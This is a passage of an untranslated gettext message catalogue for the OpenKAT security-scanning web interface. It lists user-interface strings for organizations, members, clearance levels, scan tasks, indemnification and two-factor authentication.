\"\n\"deleted and is no longer available.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"Summary for\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"Below you can see findings that were found for\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"and direct  children of this\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"This\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"tree view\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"of the\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"shows the same objects.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_add.html\nmsgid \"\"\n\"Please enter the following organization details. These details can be edited \"\n\"within the organization page within OpenKAT when necessary.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_edit.html\nmsgid \"Edit organization\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_edit.html\nmsgid \"Save organization\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"An overview of all organizations you are a member of.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Add new organization\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"                            Showing %(total)s organizations\\n\"\n\"                        \"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Organization overview:\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Tags\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"There were no organizations found for your user account\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Actions to perform for all of your organizations.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Rerun all bits\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add.html\nmsgid \"Change account type\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add_header.html\n#: rocky/views/organization_member_add.py\nmsgid \"Add member\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add_header.html\n#, python-format\nmsgid \"\"\n\"Creating a new member of organization <strong>%(organization)s</strong>. For \"\n\"detailed information about the different account types, check the <a \"\n\"href=\\\"https://docs.openkat.nl/basics/users-and-organisations.html#users\\\" \"\n\"target=\\\"_blank\\\" rel=\\\"noopener\\\">documentation</a>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_edit.html\n#: rocky/views/organization_member_edit.py\nmsgid \"Edit member\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_edit.html\nmsgid \"Save member\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\n#, python-format\nmsgid \"An overview of members of <strong>%(organization_name)s</strong>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Add member(s)\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Manually\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Upload a CSV\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"                        Showing %(total)s members\\n\"\n\"                    \"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Member overview:\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Role\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Assigned clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Super user\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\n#: rocky/views/organization_member_add.py\nmsgid \"Add members\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\n#, python-format\nmsgid \"\"\n\"To upload multiple members at once, you can upload a CSV file or you can <a \"\n\"href=\\\"%(download_url)s\\\">download the template</a>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\nmsgid \"To create a custom CSV file, make sure it meets the following criteria:\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\nmsgid \"Upload\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\n#, python-format\nmsgid \"\"\n\"An overview of general information and settings for \"\n\"<strong>%(organization_name)s</strong>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"\"\n\"<strong>Warning:</strong> Indemnification is not set for this organization.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/views/indemnification_add.py\nmsgid \"Add indemnification\"\nmsgstr \"\"\n\n#: rocky/templates/partials/current_config.html\nmsgid \"Current configuration\"\nmsgstr \"\"\n\n#: rocky/templates/partials/delete_ooi_modal.html\nmsgid \"Delete objects\"\nmsgstr \"\"\n\n#: rocky/templates/partials/delete_ooi_modal.html\nmsgid \"\"\n\"Are you sure you want to delete all the selected objects? The history of the \"\n\"deleted objects will still be available.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Edit clearance level settings\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"You are editing clearance level of all the selected objects.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Switching between declare and inherit\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"\"\n\"Clearance levels can be automatically inherited or you can manually declare \"\n\"the clearance level for an object. Switching to inherit clearance level will \"\n\"also recalculate the clearance levels of objects that inherit from these \"\n\"clearance levels.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\nmsgid \"Observed at\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\nmsgid \"Show settings\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\nmsgid \"Hide settings\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\nmsgid \"Toggle all OOI types\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\nmsgid \"Children\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"Show details for %(object_id)s, with %(child_count)s children.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"\"\n\"Show tree for %(object_id)s with only children of type %(object_ooi_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"Unfold %(object_id)s with %(child_count)s children\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"go to:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to detailpage\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"detail\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to tree view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"tree\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to graph view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"graph\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Clearance level inheritance\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"OOI\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Origin\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Show clearance level inheritance\"\nmsgstr \"\"\n\n#: rocky/templates/partials/finding_occurrence_definition_list.html\nmsgid \"Reproduction\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/checkbox_group_table_form.html\nmsgid \"Please enable plugin to start scanning.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Not set\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Forgot email\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Forgot password\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_errors.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"error\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_errors.html\n#: rocky/templates/partials/form/form_errors.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"Error:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\nmsgid \"Open explanation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\nmsgid \"Close explanation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Explanation:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"\"\n\"Performing security scans against assets is generally only allowed if you \"\n\"have permission to scan those assets. Certain scans might also have a \"\n\"negative impact on (your) assets. Therefore it is important to know and be \"\n\"aware of the impact of security scans.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"\"\n\"An organization indemnification is required before you can use OpenKAT. With \"\n\"the indemnification you declare that you, as a person, can be held \"\n\"accountable.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"Set an indemnification\"\nmsgstr \"\"\n\n#: rocky/templates/partials/hyperlink_ooi_type.html\n#, python-format\nmsgid \"Only show objects of type %(type)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_filters.html\nmsgid \"Hide filter options\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_filters.html\nmsgid \"Show filter options\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"List pagination\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Previous Page\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Previous\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Five Pages Back\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\n#: rocky/templates/partials/pagination.html\nmsgid \"Page\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Five Pages Forward\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Next Page\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Next\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"You are muting the selected findings.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Reason:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Expires by (UTC):\"\nmsgstr \"\"\n\n#: rocky/templates/partials/notifications_block.html\nmsgid \"Confirmation:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"No related object known for\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_toolbar.html\nmsgid \"Generate Report\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_toolbar.html\n#, python-format\nmsgid \"Edit %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_head.html\n#, python-format\nmsgid \"\"\n\"An overview of \\\"%(ooi)s\\\", object type \\\"%(type)s\\\". This shows general \"\n\"information and its related objects. It also gives the possibility to add \"\n\"additional related objects, or to scan for them.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Scan for objects\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\n#: rocky/templates/upload_csv.html rocky/views/upload_csv.py\nmsgid \"Upload CSV\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Export\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Download as CSV\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block.html\n#, python-format\nmsgid \"%(total)s findings on %(name)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#, python-format\nmsgid \"Findings for %(type)s %(name)s on %(observed_at)s:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table.html\nmsgid \"Open finding details\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#, python-format\nmsgid \"Details of %(object_id)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"\"\n\"The severity of this findingtype has not (yet) been determined by the data \"\n\"source. This situation requires manual investigation of the severity.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Total occurrences\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_tree_toolbar_bottom.html\nmsgid \"Tree - dense view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_tree_toolbar_bottom.html\nmsgid \"Tree - table view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organization_member_list_filters.html\nmsgid \"Update List\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization name\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization code\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organizations_menu_dropdown.html\nmsgid \"Select organization\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organizations_menu_dropdown.html\nmsgid \"All organizations\"\nmsgstr \"\"\n\n#: rocky/templates/partials/page-meta.html\nmsgid \"Logged in as:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"of\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"first\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"previous\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"next\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"last\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"User navigation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Close user navigation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"My organizations\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Profile\"\nmsgstr \"\"\n\n#: rocky/templates/partials/skip-to-content.html\nmsgid \"Go to content\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"The clearance level determines the level of boefje scans allowed on this \"\n\"object. An object inherits its clearance level from neighbouring objects. \"\n\"This means that the clearance level might stay the same, increase or \"\n\"decrease, depending on other declared clearance levels.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Empty clearance level explanation\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Empty:\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"This object has a clearance level of \\\"empty\\\". This means that this object \"\n\"has no clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Indemnification warning\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Indemnification is not set for this organization.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Go to the\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"organization settings page\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"to add one.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Set clearance level warning\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"You don't have permissions to set the clearance level. Contact your \"\n\"administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\n#, python-format\nmsgid \"\"\n\"You are not allowed to set the clearance level of this OOI. Your maximum \"\n\"clearance level is %(member_clearance_level)s and this OOI has level \"\n\"%(boefje_scan_level)s.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Go to your\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"account details\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"to manage your clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Current clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"\"\n\"An overview of the boefje task, the input OOI and the RAW data it generated.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Download meta and raw data\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"Download meta data\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"Input object\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html\nmsgid \"There are no tasks for boefjes.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html\nmsgid \"List of tasks for boefjes.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/reports.html\nmsgid \"Organization Code\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Created date\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Modified date\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"There are no tasks for normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"List of tasks for normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Boefje input OOI\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Manually added\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/ooi_detail_task_list.html\nmsgid \"There have been no tasks.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Task statistics - Last 24 hours\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"All times in UTC, blocks of 1 hour.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Timeslot\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Could not load stats, Scheduler error.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/tab_navigation.html\nmsgid \"List of tasks\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Yielded objects\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Reschedule\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Download task data\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/tasks_overview_header.html\n#, python-format\nmsgid \"\"\n\"An overview of the tasks for <strong>%(organization)s</strong>. Tasks are \"\n\"divided in Boefjes, Normalizers and Reports. Boefjes scan objects and \"\n\"Normalizers dispatch on the output mime-type. Additionally, there is a \"\n\"Report tasks. This task aggregates and presents findings from both Boefjes \"\n\"and Normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"There are no tasks for\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"List of tasks for\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"There are no tasks for reports.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"List of tasks for reports.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"Recipe ID\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Log in\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Authenticate\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Backup Tokens\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"\"\n\"Backup tokens can be used when your primary and backup phone numbers aren't \"\n\"available. The backup tokens below can be used for login verification. If \"\n\"you've used up all your backup tokens, you can generate a new set of backup \"\n\"tokens. Only the backup tokens shown below will be valid.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"Print these tokens and keep them somewhere safe.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"You don't have any backup codes yet.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"Generate Tokens\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Back to Account Security\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"You are logged in.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Two factor authentication is enabled for your account.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"\"\n\"Two factor authentication is not enabled for your account. Enable it to \"\n\"continue.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Setup two factor authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Credentials\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"\"\n\"Use this form for entering backup tokens for logging in. These tokens have \"\n\"been generated for you to print and keep safe. Please enter one of these \"\n\"backup tokens to login to your account.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"As a last resort, you can use a backup token:\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Use Backup Token\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"Permission Denied\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"\"\n\"The page you requested, enforces users to verify using two-factor \"\n\"authentication for security reasons. You need to enable these security \"\n\"features in order to access this page.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"Two-factor authentication is not enabled for your account. Enable two-factor \"\n\"authentication for enhanced account security.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\n#: rocky/templates/two_factor/core/setup.html\n#: rocky/templates/two_factor/core/setup_complete.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Enable Two-Factor Authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"Add Backup Phone\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"\"\n\"You'll be adding a backup phone number to your account. This number will be \"\n\"used if your primary method of registration is not available.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"\"\n\"We've sent a token to your phone number. Please enter the token you've \"\n\"received.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"\"\n\"To start using a token generator, please use your smartphone to scan the QR \"\n\"code below or use the setup key. For example, use GoogleAuthenticator. Then, \"\n\"enter the token generated by the app.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"QR code\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"Setup key\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"\"\n\"The secret key is a 32 characters representation of the QR code. There are 2 \"\n\"options to setup the two factor authtentication. You can scan the QR code \"\n\"above or you can insert this key using the secret key option of the \"\n\"authenticator app.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Congratulations, you've successfully enabled two-factor authentication.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Start using OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"\"\n\"However, it might happen that you don't have access to your primary token \"\n\"device. To enable account recovery, add a phone number.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Add Phone Number\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"Disable Two-factor Authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"\"\n\"You are about to disable two-factor authentication. This weakens your \"\n\"account security, are you sure?\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Account Security\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Tokens will be generated by your token generator.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\n#, python-format\nmsgid \"Primary method: %(primary)s\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Tokens will be generated by your YubiKey.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Backup Phone Numbers\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"If your primary method is not available, we are able to send backup tokens \"\n\"to the phone numbers listed below.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Unregister\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"If you don't have any device with you, you can access your account using \"\n\"backup tokens.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\n#, python-format\nmsgid \"You have only one backup token remaining.\"\nmsgid_plural \"You have %(counter)s backup tokens remaining.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Show Codes\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Disable Two-Factor Authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"However we strongly discourage you to do so, you can also disable two-factor \"\n\"authentication for your account.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/twilio/sms_message.html\n#, python-format\nmsgid \"Your OTP token is %(token)s\"\nmsgstr \"\"\n\n#: rocky/templates/upload_csv.html\nmsgid \"Automate the creation of multiple objects by uploading a CSV file.\"\nmsgstr \"\"\n\n#: rocky/templates/upload_csv.html\nmsgid \"These are the criteria for CSV upload:\"\nmsgstr \"\"\n\n#: rocky/templates/upload_raw.html\nmsgid \"Automate the creation of multiple objects by uploading a raw file.\"\nmsgstr \"\"\n\n#: rocky/templates/upload_raw.html\nmsgid \"\"\n\"An input OOI can be selected for the normalizer to attach newly yielded OOIs \"\n\"to. If no input OOI was used for the raw file, a placeholder ExternalScan \"\n\"OOI can be used. ExternalScan OOIs can be created from the objects page. \"\n\"When a new version of the raw file is generated, the same ExternalScan OOI \"\n\"should be chosen to ensure that old results are overwritten.\"\nmsgstr \"\"\n\n#: rocky/templates/upload_raw.html rocky/views/upload_raw.py\nmsgid \"Upload raw\"\nmsgstr \"\"\n\n#: rocky/views/bytes_raw.py\nmsgid \"Getting raw data failed.\"\nmsgstr \"\"\n\n#: rocky/views/bytes_raw.py\nmsgid \"The task does not have any raw data.\"\nmsgstr \"\"\n\n#: rocky/views/finding_list.py rocky/views/ooi_list.py\nmsgid \"Unknown action.\"\nmsgstr \"\"\n\n#: rocky/views/health.py\nmsgid \"Beautified\"\nmsgstr \"\"\n\n#: rocky/views/indemnification_add.py\nmsgid \"Indemnification successfully set.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"The selected date is 